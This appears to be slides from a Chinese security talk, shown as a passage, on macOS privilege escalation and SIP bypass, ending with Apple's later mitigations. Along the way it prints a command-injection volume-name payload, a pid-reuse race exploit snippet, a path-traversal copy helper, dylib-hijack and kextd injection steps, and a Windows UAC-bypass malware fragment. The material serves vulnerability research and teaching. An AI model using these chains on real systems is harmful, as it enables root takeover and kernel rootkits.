  59. 两处 bug • 替换可执行文件 • /usr/local/bin/ddt 系统默认环境不存在 • 如果安装了 brew,会将

    /usr/local/bin 设置为全局可写 • 普通权限写入此文件,调用诊断服务,获得 root 权限执行 • brew 装机量巨大,但始终不是缺省安装 • 命令注入 • NSTask 仅能参数注入,不能注入shell 命令 • 但 awk 的 system 可以: # /usr/sbin/diskutil list | /usr/bin/awk '/disk/ {system("/usr/sbin/diskutil info "$NF); print “*********************"}’ • 提取 diskutil list 的结果,搜索disk 关键字,并拼接最后一列字 符串到 system 函数的命令中 • 可造成 root 权限下的命令注入
  60. ➜ ~ /usr/sbin/diskutil list /dev/disk0 (internal, physical): #: TYPE NAME

    SIZE IDENTIFIER 0: GUID_partition_scheme *251.0 GB disk0 1: EFI EFI 209.7 MB disk0s1 2: Apple_APFS Container disk1 250.8 GB disk0s2 /dev/disk1 (synthesized): #: TYPE NAME SIZE IDENTIFIER 0: APFS Container Scheme - +250.8 GB disk1 Physical Store disk0s2 1: APFS Volume Macintosh HD 231.8 GB disk1s1 2: APFS Volume Preboot 44.5 MB disk1s2 3: APFS Volume Recovery 517.0 MB disk1s3 4: APFS Volume VM 4.3 GB disk1s4 • 卷标可通过创建dmg 磁盘映像并 mount 的方式控制(hdiutil- volname),无需特殊权限 • 但 awk 中的 $NF 运算符指向最后一列,在此处为identifier,不可 控
  61. payload • shell当前目录为 /,用户为 root • 使用通配符缩短payload 长度 • /Applications

    和 /tmp 全局可写 • /A*/1 可匹配 /Applications/1 • /t*/1 可匹配 /tmp/1 • 最终 payload • disk`t*/1`\nA
  62. pid 的安全问题 • 系统回收重用 • 进程 id 上限很容易达到(>100k) • 操作系统会复用已退出进程的

    pid • 保留 pid 创建新进程 • posix_spawn 的 POSIX_SPAWN_SETEXEC 标志位 • exec / execl / execve 系列函数 • 同一个 pid 可能代表完全不同的进程 • 基于 pid 的安全检查不可靠,且不是 macOS 特有的问题
  63. pid 的安全问题 • Android 多个基于 getpidcon() 的漏洞 • https://bugs.chromium.org/p/project-zero/issues/detail?id=727 (AndroidID-27111481;

    unexploitable) • https://bugs.chromium.org/p/project-zero/issues/detail?id=851 (AndroidID-29431260; getpidcon() used in the servicemanager) • https://bugs.chromium.org/p/project-zero/issues/detail?id=1404 (AndroidID-68217907; getpidcon() used in the hardware service manager) • https://bugs.chromium.org/p/project-zero/issues/detail?id=1406 (AndroidID-68217699; getpidcon() used in the keystore) • https://bugs.chromium.org/p/project-zero/issues/detail?id=1741 (AndroidID-121035042; getpidcon() usage in hardware binder servicemanager)
  64. pid 的安全问题 • https://phoenhex.re/2017-07-06/pwn2own-sandbox- escape#performing-the-right-check-on-the-wrong-process phoenhex 团队在 PwnOwn2017 使用的 authd

    漏洞,在错 误的进程 id 上做权限检查 • https://bugs.chromium.org/p/project- zero/issues/detail?id=1223 macOS 用户态跨进程代码签名 检查的通用绕过,使用 fork 和 exec 触发 pid 的 TOCTOU
  65. audit_token_t • 为克服 pid 复用带来的问题,macOS 提供 audit_token_t 结构 • 除

    pid 外还有 p_idversion,为保证无法复用 audit_token.val[0] = my_cred->cr_audit.as_aia_p->ai_auid; audit_token.val[1] = my_pcred->cr_uid; audit_token.val[2] = my_pcred->cr_gid; audit_token.val[3] = my_pcred->cr_ruid; audit_token.val[4] = my_pcred->cr_rgid; audit_token.val[5] = p->p_pid; audit_token.val[6] = my_cred->cr_audit.as_aia_p->ai_asid; audit_token.val[7] = p->p_idversion;
  66. audit_token_t • 然而还是出过问题 • https://bugs.chromium.org/p/project- zero/issues/detail_ezt?id=1757 XNU: pidversion increment during

    execve is unsafe • This is likely done to prevent another attack where a process sends an IPC message, then immediately execve's a privileged binary. The problem here is that the pidversion is incremented "ad-hoc", without updating the global nextpidversion variable. With that it becomes possible to create two processes with the same (pid, pidversion) pair without wrapping around the 32-bit pidversion
  67. audit_token_t • 用户态检查 audit_token_t 的函数都是私有 API • xpc_connection_get_audit_token • [NSXPCConnection

    auditToken] • 通过 pid 检查代码签名从而导致绕过的模式仍然大量存 在于第三方软件中
  68. 绕过 • 由于使用了 NSXPC,在 fork 和 exec 之间调用 ObjectiveC 运行时会导致程序崩溃

    • 10.13 后可使用OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES 环境 变量,或在可执行文件添加 __DATA,__objc_fork_ok section 解决 • 使用 NSTask 或者 posix_spawn 创建多个子进程 • 子进程同时开始向服务发送 XPC 请求,阻塞其消息队列 • 子进程使用 posix_spawn 的 POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED 标志启动白名单进程并 暂停之 • 服务在多个消息回调之间触发条件竞争,误认为 XPC 消 息来源可信
  69. #define COUNT 10 int pids[COUNT]; for (int i = 0;

    i < COUNT; i++) { int pid = fork(); if (pid == 0) { xpc_connection_t connection = xpc_connection_create_mach_service("Helper", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {}); xpc_connection_resume(connection); xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0); xpc_connection_send_message(connection, message); char* target_binary = “/path/to/valid signed binary”; char* target_argv[] = {target_binary, NULL}; exec_blocking(target_binary, target_argv, environ); } else { pids[i] = pid; } } sleep(1); for (int i = 0; i < COUNT; i++) { pids[i] && kill(pids[i], 9); } 绕过
  70. 接口 @protocol FBAPrivilegedDaemon <NSObject> - (void)copyLogFiles:(NSDictionary *)arg1; - (void)gatherInstallLogsWithDestination:(NSURL *)arg1;

    - (void)gatherSyslogsWithDestination:(NSURL *)arg1; - (void)sampleProcessWithPID:(unsigned long long)arg1 withDestination:(NSURL *)arg2; - (void)runMDSDiagnoseWithDestination:(NSURL *)arg1; - (void)runTMDiagnoseWithDestination:(NSURL *)arg1; - (void)runBluetoothDiagnoseWithDestination:(NSURL *)arg1 shortUserName:(NSString *)arg2; - (void)runWifiDiagnoseWithDestination:(NSURL *)arg1; - (void)runSysdiagnoseWithDestination:(NSURL *)arg1 arguments:(NSArray *)arg2; - (void)runSysdiagnoseWithDestination:(NSURL *)arg1; - (void)runMobilityReportWithDestination:(NSURL *)arg1; - (void)runSystemProfileWithDetailLevel:(NSString *)arg1 destination:(NSURL *)arg2; - (void)stopDaemon; - (void)showPrivileges; - (void)performReadyCheck; @end
  71. 任意文件复制 • copyLogFiles: 方法接受传入的参数执行文件系统复制操 作 • 路径前缀检查 • 源路径 •

    /Library/Logs • /var/log • 目的地 • /var/folders/ • /private/var/ • /tmp/ • 包含 Library/Caches/com.apple.appleseed.FeedbackAssistant • 可以用目录穿越“../”绕过 • 不能覆盖已存在的文件
  72. NSMutableDictionary *traversal(NSDictionary *mapping) { NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init];

    for (NSString *key in mapping) { NSString *val = mapping[key]; NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key]; NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val]; transformed[newKey] = newVal; } return transformed; }
  73. 任意文件复制 • 读取限制了 root 权限的文件 • 账户密码 hash • CTF

    flag • 写入需要 root 权限的路径 • 仍然受 SIP 限制 • 不能覆盖已有文件 • 复制完成后会修改文件的owner 属性
  74. 提权思路 • 不能覆盖 • 覆盖管理员密码 /var/db/dslocal/nodes/Default/users❌ • 覆盖具有 suid 的可执行文件

    ❌ • 覆盖已有的 PrivilegeHelpers ❌ • crontab ❌ • 修复 owner • 添加 sudoer ❌ • 创建新 /Library/LaunchDaemons 项目❌
  75. 提权利用 • runTMDiagnoseWithDestination: 和 timemachinehelper 行 为一致,甚至可以触发之前的 TimeMachine 命令注入 •

    runMDSDiagnoseWithDestination: 方法调用 /usr/bin/mddiagnose,最终执行一个不存在的文件 /usr/local/bin/ddt • 使用之前的任意文件复制漏洞生成此文件 • 等待约 10 秒,/usr/bin/top 命令执行结束后触发 • runMobilityReportWithDestination: 执行 shell 脚本 • /System/Library/Frameworks/SystemConfiguration.framework/Vers ions/A/Resources/get-mobility-info
  76. 目的 • 绕过或彻底禁止 System Integrity Protection (Rootless) • /System 等目录即使

    root 也不可写入 • macOS 预装的软件无法被调试器附加 • 强制要求内核扩展具有代码签名 • 部署 rootkits • 获得更高 pwn 分数
  77. Ian Beer: hold my beer • Issue 676: Logic error

    when exec-ing suid binaries allows code execution as root on OS X/iOS (CVE-2015-3708) • Issue 353: OS X kextd bad path checking and toctou allow a regular user to load an unsigned kernel extension (CVE- 2015-3709) • Issue 1520: MacOS double mach_port_deallocate in kextd due to failure to comply with MIG ownership rules (CVE- 2018-4139)
  78. Ian Beer: hold my beer • Issue 676: Logic error

    when exec-ing suid binaries allows code execution as root on OS X/iOS (CVE-2015-3708) 用户态逻辑漏洞 • Issue 353: OS X kextd bad path checking and toctou allow a regular user to load an unsigned kernel extension (CVE- 2015-3709) 用户态逻辑漏洞 • Issue 1520: MacOS double mach_port_deallocate in kextd due to failure to comply with MIG ownership rules (CVE- 2018-4139) 用户态,MIG 生命周期
  79. Kextd 的特殊能力 • Entitkenebt • MachO 的代码签名中嵌入特殊的XML (plist) 信息,赋予文件额 外的能力

    • 更灵活的 suid • 可供用户态和内核的 RPC 检查调用者权限 • 与代码签名绑定防止被滥用 • 部分 entitlement 仅 Apple 自带可执行文件可以使用 “taskgated: killed app because its use of the com.apple.*** entitlement is not allowed”
  80. ➜ ~ jtool --ent /usr/libexec/kextd -arch x86_64 <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.private.KextAudit.user-access</key> <true/> <key>com.apple.private.allow-bless</key> <true/> <key>com.apple.private.kernel.get-kext-info</key> <true/> <key>com.apple.rootless.kext-secure-management</key> <true/> <key>com.apple.rootless.storage.KernelExtensionManagement</key> <true/> <key>com.apple.security.cs.allow-unsigned-executable-memory</key> <true/> </dict> </plist> kextd 的特殊能力
  81. KEXT 有效性验证 • 由 kext_tools 的 authenticateKext函数实现 • 检查文件系统属性:owner 为

    root,其他用户组不可写 • 检查 bundle 数字签名 • 复制到 staging 目录 /Library/StagedExtensions • 与 syspolicyd 进程通信,询问用户是否放行(User- Approved Kernel Extension Loading / SKEL) • 如果 SIP 被关闭,部分检查会跳过 • 不检查签名 • 不使用 Staging
  82. Approved Kernel Extension Loading • 即使第三方内核扩展具有 合法签名,仍然需要用户 允许才能载入 • 由用户态的

    syspolocyd 进 程管理,而不是 XNU • 规则保存在一个 SQLite 数 据库 • 数据库受 SIP 保护
  83. ➜ ~ sudo file /var/db/SystemPolicyConfiguration/KextPolicy /var/db/SystemPolicyConfiguration/ExecPolicy: SQLite 3.x database, last

    written using SQLite version 3024000 ➜ ~ sudo xattr /var/db/SystemPolicyConfiguration/ com.apple.rootless ➜ ~ sudo sqlite3 /var/db/SystemPolicyConfiguration/KextPolicy SQLite version 3.24.0 2018-06-04 14:10:15 Enter ".help" for usage hints. sqlite> .tables kext_load_history_v3 kext_policy_mdm kext_policy settings sqlite> .header on sqlite> select * from kext_policy; team_id|bundle_id|allowed|developer_name|flags 9PTGMPNXZ2|com.symantec.kext.SymAPComm|1|Symantec|8 9PTGMPNXZ2|com.symantec.kext.ndcengine|1|Symantec|8 9PTGMPNXZ2|com.symantec.kext.internetSecurity|1|Symantec|8 9PTGMPNXZ2|com.symantec.kext.ips|1|Symantec|8 Z3L495V9L4|com.intel.kext.intelhaxm|1|Intel Corporation Apps|1 VB5E2TV963|org.virtualbox.kext.VBoxDrv|1|Oracle America, Inc.|1 VB5E2TV963|org.virtualbox.kext.VBoxUSB|1|Oracle America, Inc.|1 VB5E2TV963|org.virtualbox.kext.VBoxNetFlt|1|Oracle America, Inc.|1 VB5E2TV963|org.virtualbox.kext.VBoxNetAdp|1|Oracle America, Inc.|1 EQHXZ8M8AV|com.google.santa-driver|0|Google, Inc.|4 EG7KH642X6|com.vmware.kext.vmci|1|VMware, Inc.|5 EG7KH642X6|com.vmware.kext.vmnet|1|VMware, Inc.|5 EG7KH642X6|com.vmware.kext.vmx86|1|VMware, Inc.|5 EG7KH642X6|com.vmware.kext.vmioplug.17.1.4|1|VMware, Inc.|5
  84. @interface KextManagerPolicy : NSObject - (BOOL)canLoadKernelExtensionAtURL:(id)url isCacheLoad:(BOOL)cache; @end @interface SPKernelExtensionPolicy

    : NSObject - (char) canLoadKernelExtension:(id)ext error:(NSError *)err; - (char) canLoadKernelExtensionInCache:(id)ext error:(NSError *)err; @end kextd syspolicyd CREATE TABLE kext_load_history_v3 ( path TEXT PRIMARY KEY, team_id TEXT, bundle_id TEXT, boot_uuid TEXT, created_at TEXT, last_seen TEXT, flags INTEGER ); CREATE TABLE kext_policy ( team_id TEXT, bundle_id TEXT, allowed BOOLEAN, developer_name TEXT, flags INTEGER, PRIMARY KEY (team_id, bundle_id) ); CREATE TABLE kext_policy_mdm ( team_id TEXT, bundle_id TEXT, allowed BOOLEAN, payload_uuid TEXT, PRIMARY KEY (team_id, bundle_id) ); CREATE TABLE settings ( name TEXT, value TEXT, PRIMARY KEY (name) ); XPC 根据数据库决定弹框 / 放行 / 拒绝
  85. SKEL 绕过 • 三种方式任选其一 • 在具有 rootless 写入权限的进程中执行代码,修改KextPolicy 数 据库

    • 获取 syspolicyd 进程的 task port,hook 如下方法返回YES -[KextManagerPolicy canLoadKernelExtensionAtURL:isCacheLoad:] • 获取 kextd 进程的 task port,hook 如下方法返回YES -[SPKernelExtensionPolicy canLoadKernelExtensionInCache:error]
  86. 攻击内核 • XNU 自身并不检查 kext 的合法性 • 只要调用者具有 com.apple.rootless.kext-secure- management

    entitlement,XNU就会放行其 kext_request 调用 • 权限检查和数字签名检查都由用户态 kext_tools 完成 • 只要能获取到 entitlement,就可以控制内核执行代码 • 也可以尝试运行时获取特权进程的 task port,注入代码 • 仍然需要绕过 SIP
  87. Windows 的 DLL 劫持 • 滥用 DLL 路径搜索,诱导程序加载恶意运行库 • UAC

    类似 sudo • UAC 对白名单内的程序提权操作不做提示 • 使用 dll 劫持漏洞注入代码到白名单程序,绕过弹窗 static const char* uacTargetDir[] = { "system32\\sysprep", "ehome" }; static const char* uacTargetApp[] = { "sysprep.exe", "mcx2prov.exe" }; static const char* uacTargetDll[] = { "cryptbase.dll", "CRYPTSP.dll" }; static const char* uacTargetMsu[] = { "cryptbase.msu", "CRYPTSP.msu" }; static bool Exec( DWORD* exitCode, char *msg, ... ); static bool InfectImage( PVOID data, DWORD dataSize, char *dllPath, char *commandLine ); bool RunDllBypassUAC( const LPVOID module, int szModule, int method ) 来自真实恶意软件的代码片段
  88. dylib 劫持 • 类似地,使用 dylib 劫持可以窃取宿主进程 entitlement • 已知手段 •

    LC_LOAD_WEAK_DYLIB 和相对路径的 @rpath,会以相对路径加 载动态库 https://www.virusbulletin.com/virusbulletin/2015/03/dylib- hijacking-os-x • 动态的 dlopen 调用 • 类似 dlopen 的 Objective C 运行时函数 • NSBundle • CFBundleLoadExecutable • CFBundleLoadExecutableAndReturnError
  89. CoreSymbolication VM Regions Near 0xdeadbf57: --> __TEXT 0000000108b04000-0000000108b05000 [ 4K]

    r-x/rwx SM=COW /tmp/* Application Specific Information: dyld2 mode Thread 0 Crashed:: Dispatch queue: com.apple.main-thread 0 libsystem_c.dylib 0x00007fff5da2859c flockfile + 18 1 libsystem_c.dylib 0x00007fff5da2b570 fwrite + 66 2 test 0x0000000108b04f82 main + 82 3 libdyld.dylib 0x00007fff5d9a43d5 start + 1 Thread 0 crashed with X86 Thread State (64-bit): rax: 0x00000001171ee66c rbx: 0x00000000deadbeef rcx: 0x00000001171ee66c rdx: 0x0000000000000001 CoreSymbolication框架为崩溃日志和诊断信息提供上下文符号化
  90. handle = _dlopen("/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib", 1); if (((handle == 0) && ((len

    = get_path_relative_to_framework_contents(“../../Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/”, “libswiftDemangle.dylib”, alternative_path, 0x400), len == 0 || (handle = _dlopen(alternative_path, 1), handle == 0)))) && ((len2 = get_path_relative_to_framework_contents(“../../usr/lib/libswiftDemangle.dylib”, alternative_path, 0x400), len2 == 0 || (handle = _dlopen(alternative_path, 1), handle == 0)))) { handle_xcselect = _dlopen("/usr/lib/libxcselect.dylib", 1); if (handle_xcselect == 0) goto cleanup; p_get_dev_dir_path = (undefined *)_dlsym(handle_xcselect, "xcselect_get_developer_dir_path"); if ((p_get_dev_dir_path == (undefined *)0x0) || (cVar2 = (*(code *)p_get_dev_dir_path)(alternative_path, 0x400, &local_42b, &local_42a, &local_429), cVar2 == 0)) { handle = 0; } else { _strlcat(alternative_path, "/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib", 0x400); handle = _dlopen(alternative_path, 1); } _dlclose(handle_xcselect); if (handle == 0) goto cleanup; } __ZL25demanglerLibraryFunctions.0 = _dlsym(handle, "swift_demangle_getSimplifiedDemangledName"); cleanup : if (*(long *)___stack_chk_guard != lVar1) { /* WARNING: Subroutine does not return */ ___stack_chk_fail(); } return;
  91. 劫持点 • CoreSymbolication 调用外部动态库处理 swift 符号 • libswiftDemangle.dylib!swift_demangle_getSimpl ifiedDemangledName •

    按照如下顺序搜索 libswiftDemangle.dylib • /System/Library/PrivateFrameworks/Swift/ • /Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/ • /usr/lib/ • ${xcselect_get_developer_dir_path()}/Toolchains/XcodeDefault.xct oolchain/usr/lib/
  92. 劫持点 • xcselect.dylib!xcselect_get_developer_dir_path 函数会返 回 DEVELOPER_DIR 环境变量的值 00001287 lea rdi,[s_DEVELOPER_DIR_000025b9]

    ; = "DEVELOPER_DIR" 0000128e call __stubs::_getenv ; char * _getenv(char * param_1) 00001293 mov r14,rAX 00001296 test r14,r14 00001299 jz env_not_set 0000129b mov r13,rbx 0000129e mov rdi,r14 000012a1 mov rsi,r12 000012a4 mov ebx,dword ptr [local_440 + rbp] 000012aa mov edx,ebx 000012ac mov rcx,r15 000012af call _xcselect_find_developer_contents_from_path ; undefined _xcselect_find_develop 000012b4 test found,found 000012b6 jz LAB_000013a6 000012bc mov rdi,r12 000012bf mov rsi,r14 000012c2 call __stubs::_strcmp ; int _strcmp(char * param_1, char 000012c7 test found,found
  93. 寻找宿主 • 宿主程序需要 • 具有特殊 entitlement • 能够触发 dylib 劫持

    • “元”entitlement • 如具有 com.apple.system- task-ports 特权,可不受 rootless 限制获取任意进程 task port • 获取 task port 后可在进程 中执行任意代码,相当于 继续获取任意 entitlement
  94. com.apple.SamplingTools • https://developer.apple.com/library/archive/documentation /Performance/Conceptual/PerformanceOverview/Performa nceTools/PerformanceTools.html • 一系列运行时采样程序信息的诊断工具 ➜ ~ ls

    /usr/bin/{filtercalltree,heap32,stringdups32,leaks32,heap,atos,vmmap32,sample ,malloc_history32,symbols,vmmap,leaks,stringdups,malloc_history} /usr/bin/atos /usr/bin/leaks32 /usr/bin/stringdups32 /usr/bin/filtercalltree /usr/bin/malloc_history /usr/bin/symbols /usr/bin/heap /usr/bin/malloc_history32 /usr/bin/vmmap /usr/bin/heap32 /usr/bin/sample /usr/bin/vmmap32 /usr/bin/leaks /usr/bin/stringdups
  95. com.apple.SamplingTools ➜ ~ vmmap Finder Process: Finder [245] Path: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder

    Load Address: 0x107205000 Identifier: com.apple.finder ➜ ~ jtool --ent `which vmmap` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.system-task-ports</key> <true/> </dict> </plist> • 可获取受限制进程的 task port • 如目标为普通 euid,甚至可以无需 root 权限
  96. 攻击场景 • SIP 默认开启,即使 root 权限也无法调试系统自带进程 • 劫持 dylib 在

    SamplingTools 中获取任意 task_for_pid 权限 • 注入另一个具有 com.apple.rootless.* 的特权进程绕过 SIP • 例如 com.apple.rootless.install.heritable 不仅可以写入受 保护的路径,派生的子进程也具有绕过 rootless 的特权
  97. 触发劫持 • 使用 symbols 命令 • symbols [pid] -printDemangling •

    当目标进程具有 Swift 运行库,会触发 CoreSymbolication 的 call_external_demangle 函数 • 使用环境变量和沙箱强制其注入模块
  98. 12 libdyld.dylib 0x00007fff5178ad86 dlopen + 86 13 com.apple.CoreSymbolication 0x00007fff3d800332 invocation

    function for block in call_external_demangle(char const*) + 348 14 libdispatch.dylib 0x00007fff5174fe08 _dispatch_client_callout + 8 15 libdispatch.dylib 0x00007fff5174fdbb dispatch_once_f + 41 16 com.apple.CoreSymbolication 0x00007fff3d7a380f demangle + 298 17 com.apple.CoreSymbolication 0x00007fff3d7a35e3 TRawSymbol<Pointer64>::name() + 75 18 com.apple.CoreSymbolication 0x00007fff3d7a888e CSSymbolGetName + 166 19 symbols 0x000000010ffc386a 0x10ffb7000 + 51306 20 symbols 0x000000010ffc3cbe 0x10ffb7000 + 52414 21 com.apple.CoreSymbolication 0x00007fff3d7eba37 TRawSymbolOwnerData<Pointer64>::symbols_in_address_range(CSCppSymbolOwner*, TRange<Pointer64>, void (_CSTypeRef) block_pointer) + 127 22 symbols 0x000000010ffc3c8e 0x10ffb7000 + 52366 23 com.apple.CoreSymbolication 0x00007fff3d7eb890 TRawSymbolOwnerData<Pointer64>::regions_in_address_range(CSCppSymbolOwner*, TRange<Pointer64>, void (_CSTypeRef) block_pointer) + 124 24 symbols 0x000000010ffc3b6f 0x10ffb7000 + 52079 25 com.apple.CoreSymbolication 0x00007fff3d7c6c6a CSSymbolOwnerForeachSegment + 92 26 symbols 0x000000010ffc3af2 0x10ffb7000 + 51954 27 com.apple.CoreSymbolication 0x00007fff3d7adbee CSSymbolicatorForeachSymbolOwnerAtTime + 95 28 symbols 0x000000010ffc25b1 0x10ffb7000 + 46513 29 symbols 0x000000010ffc00ee 0x10ffb7000 + 37102
  99. System Integrity Protection: enabled Crashed Thread: 0 Dispatch queue: com.apple.main-thread

    Exception Type: EXC_BAD_ACCESS (Code Signature Invalid) Exception Codes: 0x0000000000000032, 0x000000010d745000 Exception Note: EXC_CORPSE_NOTIFY Termination Reason: Namespace CODESIGNING, Code 0x2 kernel messages: External Modification Warnings: Process used task_for_pid(). VM Regions Near 0x10d745000: MALLOC_LARGE 000000010d70a000-000000010d745000 [ 236K] rw- /rwx SM=PRV --> mapped file 000000010d745000-000000010d746000 [ 4K] r-x/r- x SM=PRV Object_id=2929ab85 mapped file 000000010d748000-000000010d762000 [ 104K] r--/r-- SM=ALI Object_id=2af85085 Application Specific Information: dyld: in dlopen() /var/folders/4d/1_vz_55x0mn_w1cyjwr9w42c0000gn/T/tmp.0b5SeUjh/Toolchains/XcodeDe fault.xctoolchain/usr/lib/libswiftDemangle.dylib 12 libdyld.dylib 0x00007fff66c9fd86 dlopen + 86 13 com.apple.CoreSymbolication 0x00007fff52d15332 invocation function for block in call_external_demangle(char const*) + 348 14 libdispatch.dylib 0x00007fff66c64e08 _dispatch_client_callout + 8 15 libdispatch.dylib 0x00007fff66c64dbb dispatch_once_f + 41 16 com.apple.CoreSymbolication 0x00007fff52cb880f demangle + 298 17 com.apple.CoreSymbolication 0x00007fff52cb85e3 TRawSymbol<Pointer64>::name() + 75 18 com.apple.CoreSymbolication 0x00007fff52cbd88e CSSymbolGetName + 166
  100. Library Validation • 错误信息 Code Signature Invalid • macOS 的数字签名提供一个

    LibraryValidation 标志 • 开启后仅允许加载具有同一证书,或 Apple 官方签名的 动态库,否则 dlopen 失败 • SamplingTools 在 HighSierra 上开启了 LibraryValidation
  101. I’m old, not obsolete High Sierra El Capitan ➜ bin

    codesign -dvvv symbols Identifier=com.apple.SamplingTools Format=Mach-O thin (x86_64) CodeDirectory v=20100 size=1384 flags=0x2000(library-validation) hashes=36+5 location=embedded Platform identifier=4 Hash type=sha256 size=32 ➜ bin codesign -dvvv symbols Identifier=com.apple.SamplingTools Format=Mach-O thin (x86_64) CodeDirectory v=20100 size=812 flags=0x0(none) hashes=32+5 location=embedded Platform identifier=1 Hash type=sha1 size=20
  102. 提交内核扩展 • 利用 launchd 启动 Mach 服务 com.apple.KernelExtensionServer (/usr/libexec/kextd) •

    使用 dylib 劫持等技巧获取 kextd 的 task port • kextd 不受 LibraryValidation 防御,直接注入dylib 即可 • 假借 kextd 的名义让内核加载扩展 • 方案 A:手动构造MKEXT 请求调用kext_request • 方案 B:hook 掉关键检查函数,然后调用 IOKit的 OSKextLoadWithOptions 让系统库来发送MKEXT 请求
  103. kext_request • 枚举、安装、卸载内核扩展 • 函数原型 kern_return_t kext_request(host_priv_t host_priv, uint32_t user_log_flags,

    vm_offset_t request_data, mach_msg_type_number_t request_dataCnt, vm_offset_t *response_data, mach_msg_type_number_t *response_dataCnt, vm_offset_t *log_data, mach_msg_type_number_t *log_dataCnt, kern_return_t *op_result); • 参数 • request_data:MKEXT 格式 • response_data:返回结果的 buffer • log_data:日志信息的 buffer
  104. MKEXT 格式 0 1 2 3 4 5 6 7

    8 9 A B C D E F 0123456789ABCDEF 00000000 4d 4b 58 54 4d 4f 53 58 00 01 96 61 12 d4 f8 fe MKXTMOSX...a.... 00000010 02 00 20 01 00 00 00 01 01 00 00 07 00 00 00 03 .. ............. 00000020 00 01 8e a4 00 00 00 00 00 00 07 bd 00 00 00 00 ................ 00000030 00 01 8e 70 cf fa ed fe 07 00 00 01 03 00 00 00 ...p............ 00000040 0b 00 00 00 08 00 00 00 a8 03 00 00 85 00 00 00 ................ 00000050 00 00 00 00 19 00 00 00 38 01 00 00 5f 5f 54 45 ........8...__TE 00000060 58 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 XT.............. ...... 00018ea0 00 00 00 00 3c 64 69 63 74 3e 3c 6b 65 79 3e 4b ....<dict><key>K 00018eb0 65 78 74 20 52 65 71 75 65 73 74 20 50 72 65 64 ext Request Pred 00018ec0 69 63 61 74 65 3c 2f 6b 65 79 3e 3c 73 74 72 69 icate</key><stri 00018ed0 6e 67 3e 4c 6f 61 64 3c 2f 73 74 72 69 6e 67 3e ng>Load</string> 00018ee0 3c 6b 65 79 3e 4b 65 78 74 20 52 65 71 75 65 73 <key>Kext Reques 00018ef0 74 20 41 72 67 75 6d 65 6e 74 73 3c 2f 6b 65 79 t Arguments</key 00018f00 3e 3c 64 69 63 74 3e 3c 6b 65 79 3e 53 74 61 72 ><dict><key>Star ...... 00019640 44 52 45 46 3d 22 32 22 2f 3e 3c 2f 64 69 63 74 DREF="2"/></dict 00019650 3e 3c 2f 61 72 72 61 79 3e 3c 2f 64 69 63 74 3e ></array></dict> 00019660 00 .
  105. MKEXT 格式 #define MKEXT_MAGIC 0x4D4B5854 /* 'MKXT' */ #define MKEXT_SIGN

    0x4D4F5358 /* 'MOSX' */ typedef struct mkext2_header { // #define MKEXT_HEADER_CORE uint32_t magic; // always 'MKXT' uint32_t signature; // always 'MOSX' uint32_t length; // the length of the whole file uint32_t adler32; // checksum from &version to end of file uint32_t version; // a 'vers' style value uint32_t numkexts; // how many kexts are in the archive cpu_type_t cputype; // same as Mach-O cpu_subtype_t cpusubtype; // same as Mach-O uint32_t plist_offset; uint32_t plist_compressed_size; uint32_t plist_full_size; } mkext2_header;
  106. MKEXT 格式 typedef struct mkext2_file_entry { uint32_t compressed_size; // if

    zero, file is not compressed uint32_t full_size; // full size of data w/o this struct uint8_t data[0]; // data is inline to this struct } mkext2_file_entry;
  107. MKEXT 格式 mkext2_header mkext2_file_entry plist • 长度、校验值、版本、CPU 类型等信息 • file

    entry 包含 KEXT 可执行文件的完整二进制内容 • 一个请求可包含多个 file entry • plist 为内核扩展的元数据 • id • 依赖项 • 路径 • 部分 Info.plist 信息
  108. kextd 补丁 • 用户态检查 • 代码签名:OSKextIsAuthentic • Staging:rootless_check_trusted_class • SKEL:-[SPKernelExtensionPolicy

    canLoadKernelExtensionInCache:error] • 以上函数最终都会调用 csr_check • csr_check 就是 Kill Switch • 补丁之后,外部手动使用 kextload 命令也会被放行
  109. 无意的补丁? • 早在漏洞公开前,Mojave 开发者预览版就移除掉了 dylib 劫持 的代码 • 更像是代码重构而不是修复 void

    ____ZL22call_external_demanglePKc_block_invoke(void) { char *bDoNotDemangleSwift; void *handle; bDoNotDemangleSwift = _getenv("CS_DO_NOT_DEMANGLE_SWIFT"); if ((bDoNotDemangleSwift == NULL) || (((byte)(*bDoNotDemangleSwift - 0x30U) < 0x3f && ((0x4000000040000001U >> ((ulong)(byte)(*bDoNotDemangleSwift - 0x30U) & 0x1f) & 1) != 0)))) { handle = _dlopen("/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib",1); if (handle != 0) { __ZL25demanglerLibraryFunctions.0 = _dlsym(handle,"swift_demangle_getSimplifiedDemangledName"); } } return; }
  110. 缓解措施 • 此类 dylib 劫持在 macOS Mojave 上不再起作用 • Mojave

    引入了 Hardened Runtime (App Notarization) • 即使代码签名没有 LibraryValidation,仍然默认全局启用 • 除非显式使用 com.apple.security.cs.disable-library-validation entitlement 禁用 • 每一个 com.apple.SamplingTools 工具的 bundle id 都被重 命名,并在 AMFI 驱动中特殊处理 • 例如 com.apple.SamplingTools.vmmap • 在 AppleMobileFileIntegrity.kext!macos_task_policy硬编码 了新的 SamplingTools id • 引入了新的 entitlement • com.apple.system-task-ports.safe